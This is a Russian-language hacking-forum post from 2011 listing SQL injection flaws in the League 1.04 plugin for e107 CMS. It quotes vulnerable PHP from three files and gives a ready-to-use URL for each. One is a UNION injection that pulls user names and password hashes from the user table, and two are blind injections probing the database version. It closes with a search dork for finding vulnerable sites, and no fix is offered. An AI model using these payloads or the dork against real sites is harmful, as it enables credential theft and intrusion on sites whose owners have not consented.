Тема: [ Обзор уязвимостей e107 cms ]
Показать сообщение отдельно

  #97  
Старый 05.01.2011, 23:12
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами: 10992741

Репутация: 0
По умолчанию
League Version 1.04

SQL injection:

/lique.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]];}

...

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#DD0000"]"lique_games"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#DD0000"]"games_home_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_team'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" AND games_saison_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" AND games_date"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()-[/COLOR][COLOR="#0000BB"]604500[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" OR games_gast_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_team'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" AND games_date"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()-[/COLOR][COLOR="#0000BB"]604500[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" ORDER BY games_date "[/COLOR][COLOR="#007700"];

...

[/COLOR][/COLOR] 
Пример:

Код:
http://e107/e107_plugins/lique/lique.php?Saison=-2%20union%20select%201,concat_ws%280x3a,user_name,user_password%29,3,4,5%20from%20e107_user--
Blind SQL injection:

/scorer.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]];}else{[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_saison'[/COLOR][COLOR="#007700"]];}

if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team'[/COLOR][COLOR="#007700"]];}else{[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_team'[/COLOR][COLOR="#007700"]];}

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'games'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"lique_games"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"games_home_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" OR games_gast_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]);

 while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]()){

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'games'[/COLOR][COLOR="#007700"]]++;

 }

[/COLOR][COLOR="#0000BB"]$qry1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT m.*, me.* FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"lique_liga AS m

LEFT JOIN "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"lique_teams AS me ON me.team_id=m.liga_team_id

WHERE m.liga_id ='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select_gen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qry1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$team_ID[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_id'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_Name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_name'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_admin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_admin_id'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_url'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_icon[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_icon'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_description[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_description'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'players'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"lique_roster"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"roster_team_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

 while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]()){

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'players'[/COLOR][COLOR="#007700"]]++;

 }

...

[/COLOR][/COLOR] 
Пример:

Код:
http://e107/e107_plugins/lique/scorer.php?team=1%20and%20substring%28@@version,1,1%29=5
Blind SQL injection:

/strafen.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'Saison'[/COLOR][COLOR="#007700"]];}else{[/COLOR][COLOR="#0000BB"]$Saison[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_saison'[/COLOR][COLOR="#007700"]];}

if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team'[/COLOR][COLOR="#007700"]];}else{[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$pref[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'lique_my_team'[/COLOR][COLOR="#007700"]];}

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'games'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"lique_games"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"games_home_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" OR games_gast_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]);

 while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]()){

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'games'[/COLOR][COLOR="#007700"]]++;

 }

[/COLOR][COLOR="#0000BB"]$qry1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"

SELECT m.*, me.* FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"lique_liga AS m

LEFT JOIN "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MPREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"lique_teams AS me ON me.team_id=m.liga_team_id

WHERE m.liga_id ='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select_gen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qry1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$team_ID[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_id'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_Name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_name'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_admin[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_admin_id'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_url'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_icon[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_icon'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$team_description[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'team_description'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'players'[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"lique_roster"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"roster_team_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$team[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

 while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]()){

[/COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'players'[/COLOR][COLOR="#007700"]]++;

 }

...

[/COLOR][/COLOR] 
Пример:

Код:
http://e107/e107_plugins/lique/strafen.php?team=1%20and%20substring%28@@version,1,1%29=5
И много ещё чего бажного...

​Дорк:inurl:e107_plugins/lique/
 
Ответить с цитированием